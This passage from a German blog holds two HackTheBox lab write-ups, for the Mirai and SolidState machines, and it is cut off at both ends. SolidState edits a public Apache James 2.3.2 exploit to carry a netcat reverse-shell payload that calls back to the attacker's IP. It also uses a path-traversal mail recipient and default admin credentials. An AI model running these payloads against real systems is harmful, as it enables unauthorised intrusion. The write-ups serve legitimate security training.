</span></span></code></pre></div>]]></content></item><item><title>HackTheBox - Mirai WriteUp | Tipps + Anleitung</title><link>https://m10x.de/posts/2018/02/hackthebox-mirai-writeup-tipps--anleitung/</link><pubDate>Sat, 10 Feb 2018 19:59:56 +0100</pubDate><guid>https://m10x.de/posts/2018/02/hackthebox-mirai-writeup-tipps--anleitung/</guid><description>Mirai ist eine der vielen Verfügbaren CTF Challenges von HackTheBox. Mirai ist eine leichte Maschine von HackTheBox und sehr gut für Anfänger geeignet. Aber auch für Erfahrene, die eine Herausforderung für zwischendurch suchen.
Tipps Informiere dich darüber, wie das Mirai-Botnetz sich ausgebreitet hat. Welches Betriebssystem hat die Maschine? Auf was für einem Gerät läuft dieses?
Ein Nmap-Scan und die Website verraten dies. Standard Login-Daten sind immer was tolles. :) Root zu bekommen könnte nicht einfacher sein.</description><content type="html"><![CDATA[<p><a href="https://www.hackthebox.eu/home/machines/profile/64">Mirai</a> ist eine der vielen Verfügbaren CTF Challenges von <a href="https://hackthebox.eu/">HackTheBox</a>. <a href="https://www.hackthebox.eu/home/machines/profile/64">Mirai</a> ist eine leichte Maschine von <a href="https://hackthebox.eu/">HackTheBox</a> und sehr gut für Anfänger geeignet. Aber auch für Erfahrene, die eine Herausforderung für zwischendurch suchen.</p>
<p><a href="https://imgur.com/pSKDFUC"><img alt="schwierigkeit" src="https://imgur.com/pSKDFUC.jpg"></a></p>
<h2 id="tipps"><strong>Tipps</strong></h2>
<ul>
<li>Informiere dich darüber, wie das <a href="https://de.wikipedia.org/wiki/Mirai_(Malware)">Mirai</a>-Botnetz sich ausgebreitet hat.</li>
<li>Welches Betriebssystem hat die Maschine? Auf was für einem Gerät läuft dieses?<br>
Ein Nmap-Scan und die Website verraten dies.</li>
<li>Standard Login-Daten sind immer was tolles. :)</li>
<li>Root zu bekommen könnte nicht einfacher sein.</li>
<li>Alles ist eine Datei. Wo können die Inhalte des USB-Sticks zu finden sein?</li>
</ul>
<h2 id="video"><strong>Video</strong></h2>
<p><a href="http://www.youtube.com/watch?v=RMcGUrRzXVI"><img alt="Kurzes Video Walkthrough ohne Erklärungen" src="http://img.youtube.com/vi/RMcGUrRzXVI/0.jpg"></a></p>
<h2 id="anleitung"><strong>Anleitung</strong></h2>
<p>Als erstes kommt wie immer ein Nmap-Scan. Die Option -A sorgt dafür, dass Nmap das Betriebssystem und die Services herausfindet.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# nmap -A 10.10.10.48
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>22/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 <span style="color:#f92672">(</span>protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>53/tcp open  domain  dnsmasq 2.76
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>80/tcp open  http    lighttpd 1.4.35
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>Nmap konnte drei offene Ports finden. SSH, Domain und HTTP. Außerdem scheint, dass Betriebssystem Debian zu sein.</p>
<p>Als nächstes bruteforcen wir die Verzeichnisse der Internetseite. Ich benutze dafür GoBuster, allerdings sind alternativen wie Dirb, Dirbuster, WFuzz, etc. genauso nützlich. Die Option <strong>-t</strong> legt fest wieviele Prozesse GoBuster parallel laufen lassen soll. Der Standard dabei ist 10.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# gobuster -u 10.10.10.48 -t <span style="color:#ae81ff">25</span> -w /usr/share/wordlists/dirb/common.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Gobuster v1.2 OJ Reeves <span style="color:#f92672">(</span>@TheColonial<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">=====================================================</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Mode : dir
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Url/Domain : http://10.10.10.48/
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Threads : <span style="color:#ae81ff">25</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Wordlist : /usr/share/wordlists/dirb/common.txt
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Status codes : 200,204,301,302,307
</span></span><span style="display:flex;"><span><span style="color:#f92672">=====================================================</span>
</span></span><span style="display:flex;"><span>/admin <span style="color:#f92672">(</span>Status: 301<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>/swfobject.js <span style="color:#f92672">(</span>Status: 200<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">=====================================================</span>
</span></span></code></pre></div><p>Interessant. Es wurde nur ein Verzeichnis gefunden und zwar <strong>admin</strong>.</p>
<p>Sehen wir uns doch mal <strong>http://www.10.10.10.48/admin/</strong> an.</p>
<p><a href="https://imgur.com/7MMcehl"><img alt="10.10.10.48/admin" src="https://imgur.com/7MMcehl.jpg"></a></p>
<p>Anscheinend haben wir es mit einem <a href="https://de.wikipedia.org/wiki/Raspberry_Pi">Raspberry Pi</a> zu tun.</p>
<p>Die Standard Zugangsdaten bei einem Raspberry Pi mit Debian sind <strong>Nutzername: pi und Passwort: raspberry</strong>.<br>
Vielleicht haben wir Glück und diese wurden noch nicht verändert.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# ssh pi@10.10.10.48
</span></span><span style="display:flex;"><span>pi@10.10.10.48<span style="color:#e6db74">&#39;s password
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">[...]
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SSH is enabled and the default password for the &#39;</span>pi<span style="color:#e6db74">&#39; user has not been changed.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">This is a security risk - please login as the &#39;</span>pi<span style="color:#e6db74">&#39; user and type &#39;</span>passwd<span style="color:#960050;background-color:#1e0010">&#39;</span> to set a new password.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>pi@raspberrypi:~ $
</span></span></code></pre></div><p>Es hat tatsächlich funktioniert. Nun können wir uns die User-Flag holen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>pi@raspberrypi:~ $ ls
</span></span><span style="display:flex;"><span>Desktop Documents Downloads Music Pictures <span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>pi@raspberrypi:~ $ cat ./Desktop/user.txt
</span></span><span style="display:flex;"><span>ff8#########zensiert#########38d
</span></span></code></pre></div><p>Root zu werden, wird uns einfach gemacht.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>pi@raspberrypi:~ $ sudo su
</span></span><span style="display:flex;"><span>root@raspberrypi:/home/pi#
</span></span></code></pre></div><p>Nun weiter zur Root-Flag:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@raspberrypi:/home/pi# cat /root/root.txt
</span></span><span style="display:flex;"><span>I lost my original root.txt! I think I may have a backup on my USB stick...
</span></span></code></pre></div><p>Den USB-Stick sollten wir unter <strong>/media</strong> finden können, falls dieser noch gemountet ist.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@raspberrypi:/home/pi# cd /media
</span></span><span style="display:flex;"><span>root@raspberrypi:/media# ls
</span></span><span style="display:flex;"><span>usbstick
</span></span><span style="display:flex;"><span>root@raspberrypi:/media# ls usbstick/
</span></span><span style="display:flex;"><span>damnit.txt lost+found
</span></span><span style="display:flex;"><span>root@raspberrypi:/media# cat usbstick/damnit.txt
</span></span><span style="display:flex;"><span>Damnit! Sorry man I accidentally deleted your files off the USB stick.
</span></span><span style="display:flex;"><span>Do you know <span style="color:#66d9ef">if</span> there is any way to get them back?
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>-James
</span></span></code></pre></div><p>Die Datei die wir brauchen wurde vom USB-Stick gelöscht&hellip;</p>
<p>In Linux ist alles eine Datei. Unter <strong>/dev</strong> befinden sich alle Gerätedateien. Unter <strong>/dev/sd</strong>* können wir SATA-Festplatten und Externe Speichermedien wie z.B. USB-Sticks finden.<br>
Mit <strong>cat</strong> können wir diese ganz einfach anzeigen lassen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@raspberrypi:/media# cd /dev
</span></span><span style="display:flex;"><span>root@raspberrypi:/dev# ls
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span> sda1 sda2 sdb <span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>root@raspberrypi:/dev# cat sdb
</span></span></code></pre></div><p>5. letzte Zeile:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>�|<span style="color:#f92672">}</span>*,.�����+-���3d3#########zensiert#########20b
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>Vielen Dank für&rsquo;s durchlesen. :)</p>
]]></content></item><item><title>HackTheBox - SolidState WriteUp | Tipps + Anleitung</title><link>https://m10x.de/posts/2018/01/hackthebox-solidstate-writeup-tipps--anleitung/</link><pubDate>Sat, 27 Jan 2018 20:00:56 +0100</pubDate><guid>https://m10x.de/posts/2018/01/hackthebox-solidstate-writeup-tipps--anleitung/</guid><description>SolidState ist eine der vielen Verfügbaren CTF Challenges von HackTheBox. SolidState ist eine leichte bis mittelschwere Maschine von HackTheBox.
Tipps Scanne mit Nmap alle Ports. Informiere dich was JAMES ist. Außerdem ist Telnet dein Freund. Um nicht eine eingeschränkte Bash-Shell (rbash) zu haben, musst du einen JAMES Exploit benutzen. Benutze LinEnum.sh mit der Option -t. Sieh dir bei den LinEnum Ergebnis World-writable files genau an. Video Anleitung Zuerst wie gewohnt ein Nmap-Scan.</description><content type="html"><![CDATA[<p><a href="https://www.hackthebox.eu/home/machines/profile/85">SolidState</a> ist eine der vielen Verfügbaren CTF Challenges von <a href="https://hackthebox.eu/">HackTheBox</a>. <a href="https://www.hackthebox.eu/home/machines/profile/85">SolidState</a> ist eine leichte bis mittelschwere Maschine von <a href="https://hackthebox.eu/">HackTheBox</a>.</p>
<p><a href="https://imgur.com/1Dp4yA7"><img alt="Difficulty" src="https://imgur.com/1Dp4yA7.jpg"></a></p>
<h2 id="tipps"><strong>Tipps</strong></h2>
<ul>
<li>Scanne mit Nmap alle Ports.</li>
<li>Informiere dich was JAMES ist. Außerdem ist Telnet dein Freund.</li>
<li>Um nicht eine eingeschränkte Bash-Shell (rbash) zu haben, musst du einen JAMES Exploit benutzen.</li>
<li>Benutze <a href="https://github.com/rebootuser/LinEnum">LinEnum.sh</a> mit der Option <strong>-t</strong>.</li>
<li>Sieh dir bei den LinEnum Ergebnis <strong>World-writable files</strong> genau an.</li>
</ul>
<h2 id="video"><strong>Video</strong></h2>
<p><a href="http://www.youtube.com/watch?v=VswM2eqrTk4"><img alt="video walkthrough" src="http://img.youtube.com/vi/VswM2eqrTk4/0.jpg"></a></p>
<h2 id="anleitung"><strong>Anleitung</strong></h2>
<p>Zuerst wie gewohnt ein Nmap-Scan. Hierbei ist es wichtig, dass wir explizit alle Ports scannen, da bei einem Standard-Scan ein offener Port nicht gefunden wird. Mit der Option <strong>-p-</strong> scannen wir alle Ports. Die Option <strong>-A</strong> sorgt dafür, dass Nmap das Betriebssystem und die Services herausfindet.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# nmap -A -p- 10.10.10.51
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>PORT     STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>22/tcp   open  ssh         OpenSSH 7.4p1 Debian 10+deb9u1 <span style="color:#f92672">(</span>protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>25/tcp   open  smtp        JAMES smtpd 2.3.2
</span></span><span style="display:flex;"><span>|_smtp-commands: Couldn<span style="color:#960050;background-color:#1e0010">&#39;</span>t establish connection on port <span style="color:#ae81ff">25</span>
</span></span><span style="display:flex;"><span>80/tcp   open  http        Apache httpd 2.4.25 <span style="color:#f92672">((</span>Debian<span style="color:#f92672">))</span>
</span></span><span style="display:flex;"><span>110/tcp  open  pop3        JAMES pop3d 2.3.2
</span></span><span style="display:flex;"><span>119/tcp  open  nntp        JAMES nntpd <span style="color:#f92672">(</span>posting ok<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>4555/tcp open  james-admin JAMES Remote Admin 2.3.2
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span></code></pre></div><p><a href="https://de.wikipedia.org/wiki/Apache_James">JAMES</a> ist ein Mailserver. Der Port 4555 mit dem Service <strong>james-admin</strong> sieht vielversprechend aus.</p>
<p>Versuchen wir doch mal eine Telnet-Verbindung zum Port 4555 aufzubauen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:/home/SolidState# telnet 10.10.10.51 <span style="color:#ae81ff">4555</span>
</span></span><span style="display:flex;"><span>Trying 10.10.10.51...
</span></span><span style="display:flex;"><span>Connected to 10.10.10.51.
</span></span><span style="display:flex;"><span>Escape character is <span style="color:#e6db74">&#39;^]&#39;</span>.
</span></span><span style="display:flex;"><span>JAMES Remote Administration Tool 2.3.2
</span></span><span style="display:flex;"><span>Please enter your login and password
</span></span><span style="display:flex;"><span>Login id:
</span></span><span style="display:flex;"><span>root
</span></span><span style="display:flex;"><span>Password:
</span></span><span style="display:flex;"><span>root
</span></span><span style="display:flex;"><span>Welcome root. HELP <span style="color:#66d9ef">for</span> a list of commands
</span></span></code></pre></div><p>Die Standard Credentials für das <strong>JAMES Remote Administration Tool</strong> ist root / root. Ein Glück, dass dieses noch nicht geändert wurde.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>&gt;&gt;help
</span></span><span style="display:flex;"><span>Currently implemented commands:
</span></span><span style="display:flex;"><span>help display this help
</span></span><span style="display:flex;"><span>listusers display existing accounts
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>setpassword <span style="color:#f92672">[</span>username<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>password<span style="color:#f92672">]</span> sets a user<span style="color:#960050;background-color:#1e0010">&#39;</span>s password
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>quit close connection
</span></span></code></pre></div><p>Die für uns interessanten Befehle sind <strong>listusers</strong> und <strong>setpassword</strong>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>listusers
</span></span><span style="display:flex;"><span>Existing accounts <span style="color:#ae81ff">6</span>
</span></span><span style="display:flex;"><span>user: james
</span></span><span style="display:flex;"><span>user: ../../../../../../../../etc/bash_completion.d
</span></span><span style="display:flex;"><span>user: thomas
</span></span><span style="display:flex;"><span>user: john
</span></span><span style="display:flex;"><span>user: mindy
</span></span><span style="display:flex;"><span>user: mailadmin
</span></span></code></pre></div><p>Wir sehen 6 verschiedene Accounts. Wir können nun die Passwörter dieser Accounts mit Hilfe von <strong>setpassword [username] [password]</strong> ändern, um uns als diese anmelden zu können.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>&gt;&gt;setpassword mindy m10x
</span></span><span style="display:flex;"><span>Password <span style="color:#66d9ef">for</span> mindy reset
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&gt;&gt;quit
</span></span><span style="display:flex;"><span>Bye
</span></span><span style="display:flex;"><span>Connection closed by foreign host.
</span></span></code></pre></div><p>Verbinden wir uns nun per Telnet mit dem POP3 Service. Eine Liste mit den möglichen Befehlen für <a href="http://www.suburbancomputer.com/tips_email.htm">POP3</a> kannst du hier finden.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:/home/SolidState# telnet 10.10.10.51 <span style="color:#ae81ff">110</span>
</span></span><span style="display:flex;"><span>Trying 10.10.10.51...
</span></span><span style="display:flex;"><span>Connected to 10.10.10.51.
</span></span><span style="display:flex;"><span>Escape character is <span style="color:#e6db74">&#39;^]&#39;</span>.
</span></span><span style="display:flex;"><span>+OK solidstate POP3 server <span style="color:#f92672">(</span>JAMES POP3 Server 2.3.2<span style="color:#f92672">)</span> ready
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>user mindy
</span></span><span style="display:flex;"><span>+OK
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>pass m10x
</span></span><span style="display:flex;"><span>+OK Welcome mindy
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>list
</span></span><span style="display:flex;"><span>+OK <span style="color:#ae81ff">2</span> <span style="color:#ae81ff">1945</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1</span> <span style="color:#ae81ff">1109</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">2</span> <span style="color:#ae81ff">836</span>
</span></span><span style="display:flex;"><span>.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>retr <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>+OK Message follows
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>Dear Mindy,
</span></span><span style="display:flex;"><span>Here are your ssh credentials to access the system. Remember to reset your password after your first login.
</span></span><span style="display:flex;"><span>Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>username: mindy
</span></span><span style="display:flex;"><span>pass: P@55W0rd1!2@
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Respectfully,
</span></span><span style="display:flex;"><span>James
</span></span><span style="display:flex;"><span>.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>quit
</span></span><span style="display:flex;"><span>+OK Apache James POP3 Server signing off.
</span></span><span style="display:flex;"><span>Connection closed by foreign host.
</span></span></code></pre></div><p>Wir haben nun die SSH-Login Daten. Allerdings können wir damit noch nicht soviel anfangen, da wir durch den Login als Mindy nur eine <a href="https://www.tecchannel.de/a/ratgeber-shells-fuer-linux-und-unix-richtig-nutzen,2038218,4">eingeschränkte Bash-Shell (rbash)</a> haben, bei welcher nur die Befehle <strong>cat</strong> und <strong>ls</strong> erlaubt sind. Bei den anderen Emails ist nichts interessantes zu finden. Was nun?</p>
<p>Suchen wir doch mal nach Schwachstellen im Bezug auf JAMES mit der Version 2.3.2.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:/home/SolidState# searchsploit james 2.3.2
</span></span><span style="display:flex;"><span>-------------------------------------------------------------------------------------
</span></span><span style="display:flex;"><span>Exploit Title                                        | Path
</span></span><span style="display:flex;"><span>                                                     | <span style="color:#f92672">(</span>/usr/share/exploitdb/<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>-------------------------------------------------------------------------------------
</span></span><span style="display:flex;"><span>Apache James Server 2.3.2 - Remote Command Execution | exploits/linux/remote/35513.py
</span></span><span style="display:flex;"><span>-------------------------------------------------------------------------------------
</span></span></code></pre></div><p>**Remote Command Execution **klingt doch nett. <a href="https://www.exploit-db.com/exploits/35513/">Hier</a> ist der Link zu dem Exploit.</p>
<p>Kopieren wir uns das Script.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:/home/SolidState# cp /usr/share/exploitdb/exploits/linux/remote/35513.py /home/SolidState/james.py
</span></span></code></pre></div><p>Jetzt müssen wir es nur noch anpassen. Als Payload können wir ein <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">Netcat Reverse Shell</a> benutzen. Außerdem können wir noch den <strong>hostname</strong> festlegen, welcher hier <strong>solidstate</strong> ist.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:/home/SolidState# vi james.py
</span></span><span style="display:flex;"><span>payload <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.15.222 1234 &gt;/tmp/f&#39;</span> <span style="color:#75715e">#Zeile19</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#also try s.send(&#34;rcpt to: &lt;../../../../../../../../etc/bash_completion.d@hostname&gt;\r\n&#34;) if the recipient cannot be found</span>
</span></span><span style="display:flex;"><span>s.send<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;rcpt to: &lt;../../../../../../../../etc/bash_completion.d@solidstate&gt;\r\n&#34;</span><span style="color:#f92672">)</span> <span style="color:#75715e">#zeile 59</span>
</span></span></code></pre></div><p>Nun hören wir mit Netcat den Port ab, den wir im Script vorhin festgelegt haben.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:/home/SolidState# nc -lnvp <span style="color:#ae81ff">1234</span>
</span></span><span style="display:flex;"><span>listening on <span style="color:#f92672">[</span>any<span style="color:#f92672">]</span> <span style="color:#ae81ff">1234</span> ...
</span></span></code></pre></div><p>Parallel dazu führen wir das Script aus.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:/home/SolidState# python james.py
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>-<span style="color:#f92672">]</span>Usage: python james.py &lt;ip&gt;
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>-<span style="color:#f92672">]</span>Exemple: python james.py 127.0.0.1
</span></span><span style="display:flex;"><span>root@kali:/home/SolidState# python james.py 10.10.10.51
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span>Connecting to James Remote Administration Tool...
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span>Creating user...
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span>Connecting to James SMTP server...
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span>Sending payload...
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span>Done! Payload will be executed once somebody logs in.
</span></span></code></pre></div><p>Jetzt muss sich nur noch jemand über SSH anmelden!</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:/home/SolidState# ssh mindy@10.10.10.51
</span></span><span style="display:flex;"><span>mindy@10.10.10.51<span style="color:#960050;background-color:#1e0010">&#39;</span>s password:
</span></span><span style="display:flex;"><span>Linux solidstate 4.9.0-3-686-pae <span style="color:#75715e">#1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>Wir haben Zugriff!</p>
<p>Nun können wir die Shell zu einer <a href="https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/">fully interactive TTY</a> upgraden, damit wir <strong>autocomplete, su etc.</strong> haben.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>$ python3 -c <span style="color:#e6db74">&#34;import pty; pty.spawn(&#39;/bin/bash&#39;)&#34;</span>
</span></span></code></pre></div><p>Mit Hilfe von <strong>wget</strong> können wir <a href="https://github.com/rebootuser/LinEnum">LinEnum.sh</a> downloaden (nachdem wir bei uns den Apache2 Server durch <strong>service apache2 start</strong> gestartet und die Datei in den Ordner <strong>/var/www/html/</strong> kopiert haben) und ausführen, welches uns die Enumeration und Privilege Escalation Checks abnimmt.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span><span style="color:#e6db74">${</span>debian_chroot:+($debian_chroot)<span style="color:#e6db74">}</span>mindy@solidstate:~$ wget 10.10.15.222/LinEnum.sh
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">${</span>debian_chroot:+($debian_chroot)<span style="color:#e6db74">}</span>mindy@solidstate:~$ bash LinEnum.sh -t
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>World-writable files <span style="color:#f92672">(</span>excluding /proc<span style="color:#f92672">)</span>:
</span></span><span style="display:flex;"><span>-rwxrwxrwx <span style="color:#ae81ff">1</span> root root <span style="color:#ae81ff">91</span> Jan <span style="color:#ae81ff">21</span> 18:34 /opt/tmp.py
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>Das Script hat eine Datei gefunden, welche dem User und der Gruppe <strong>root</strong> gehört, aber für jeden schreib-, lese- und ausführbar ist.</p>
<p>Sehen wir uns doch mal an, was sich in dem Python-Script steht.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span><span style="color:#e6db74">${</span>debian_chroot:+($debian_chroot)<span style="color:#e6db74">}</span>mindy@solidstate:~$ vi /opt/tmp.py
</span></span><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python</span>
</span></span><span style="display:flex;"><span>import os
</span></span><span style="display:flex;"><span>import sys
</span></span><span style="display:flex;"><span>try:
</span></span><span style="display:flex;"><span>     os.system<span style="color:#f92672">(</span><span style="color:#e6db74">&#39;rm -r /tmp/* &#39;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>except:
</span></span><span style="display:flex;"><span>     
</span></span><span style="display:flex;"><span>sys.exit<span style="color:#f92672">()</span>
</span></span></code></pre></div><p>Wir können nun die 5. Zeile etwas abändern&hellip;</p>
